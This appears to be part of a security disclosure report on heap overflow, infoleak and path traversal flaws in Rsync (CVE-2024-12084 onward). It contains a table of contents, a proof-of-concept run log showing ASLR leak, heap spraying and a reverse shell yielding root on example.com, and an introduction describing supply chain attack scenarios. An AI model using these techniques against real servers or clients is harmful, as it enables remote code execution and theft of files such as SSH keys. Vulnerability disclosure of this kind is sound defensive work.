text
stringlengths
0
1.99k
2.0.3 - Rsync Server Connection Modes
2.0.3.0 - Daemon Mode
2.0.3.1 - SSH Mode
2.1.0 - Exploitation of Memory Corruption Vulnerabilities
2.1.1 - Background - Server Side Checksum Parsing
2.2.0 - Infoleak
2.2.1 - Breaking ASLR
2.2.2 - Speed vs Reliability of the Infoleak
2.3.0 - Heap Overflow
2.3.1 - Write-What-Where
2.4.0 - Heap Grooming
2.4.1 - Defragmenting the Heap and Consuming Tcache Entries
2.4.2 - Placing Target Objects Next to Each Other
2.5.0 - Achieving RIP Control and RCE
2.6.0 - Exploitation of Path Traversal Vulnerabilities
2.6.1 - Arbitrary File Write
2.6.2 - --safe-links Bypass
2.6.3 - Arbitrary File Read
3 - Supply Chain Attack Scenarios
3.0.0 - Finding Vulnerable Servers
3.1.0 - Disclaimer and Assumptions We Make
3.2.0 - Precedent
3.3.0 - Attack Scenario: Missing Signatures
3.3.1 - melpa.org Compromised Mirror Can Serve Backdoored
Packages
3.4.0 - Attack Scenario: Exploiting Client-Side Vulnerabilities to
Bypass Signature Validation
3.4.1.0 - MacPorts RCE when Syncing from Compromised Mirror
3.4.1.1 - Creating Arbitrary Portfiles on Clients Machine from
a Compromised Mirror
3.5.0 - Attack Scenario: Attacking CI/CD Infrastructure
3.5.1.0 - Attacking Rsync Servers Alongside Critical Services
3.5.1.1 - invent.kde.org
4 - Conclusion
5 - References
6 - Proof-of-Concepts
$./exploit rsync://example.com:873/files
[*] Connected to example.com:873 on module files
[*] Received file list
[*] Downloaded target file 'foo': index 1, size 1417 (73a2bc1480ce5898)
[*] Starting leak...
[+] Leaked .text pointer 0x5572190ca847
[*] base: 0x557219088000
[*] shell_exec: 0x5572190b2a50
[*] ctx_evp: 0x557219114a28
[*] Spraying heap...
[*] Setting up reverse shell listener...
[*] Listening on port 1337
[*] Sending payload...
[+] Received connection! Dropping into shell
# id
uid=0(root) gid=0(root) groups=0(root)
-- 0 - Introduction
We found reliably exploitable memory corruption and path traversal issues
in the file-syncing utility Rsync [1]. The memory corruption bugs allow an
unauthenticated attacker to reliably execute arbitrary code on public
Rsync servers. The path traversal issues allow a rogue Rsync server
to read and write arbitrary files on clients' machines.
Rsync is often deployed alongside HTTP and FTP services offered by package
mirrors. There is a precedent of past attacks on Rsync, where an attacker
used a Rsync vulnerability to compromise a Gentoo mirror [2].
In this report, we analyze different hypothetical scenarios of an attacker
exploiting the vulnerabilities we found, and examine how protected supply
chains are against a compromised upstream server.
The Client-to-Server vulnerabilities are remotely exploitable in default
configurations. An attacker only needs read access to a public instance,
common for package mirrors.
Depending on the software and protections running on a compromised server,
an attacker could launch supply chain attacks. We will explore these
scenarios and the vulnerable servers we confirmed.
Alternatively, an attacker can take over trusted, public servers to
read/write arbitrary files on clients' machines. They can extract
sensitive data like SSH keys, or execute malicious code by overwriting
files such as .bashrc, ~/.popt, or others.
-- 1 - Vulnerabilities
The following table provides a brief overview of the vulnerabilities we
found.
+------------------+-----------------------+-----------------------------+
| CVE | Impact | Description |
+------------------+-----------------------+-----------------------------+
| CVE-2024-12084 | Heap Overflow | Heap Buffer overflow in |
| | | Checksum comparison |
| | | server-side |
+------------------+-----------------------+-----------------------------+
| CVE-2024-12085 | Info Leak | Uninitialized stack buffer |
| | | contents can be leaked by |
| | | client |
+------------------+-----------------------+-----------------------------+
| CVE-2024-12086 | Arbitrary File Read | The server is able to leak |
| | | arbitrary client files |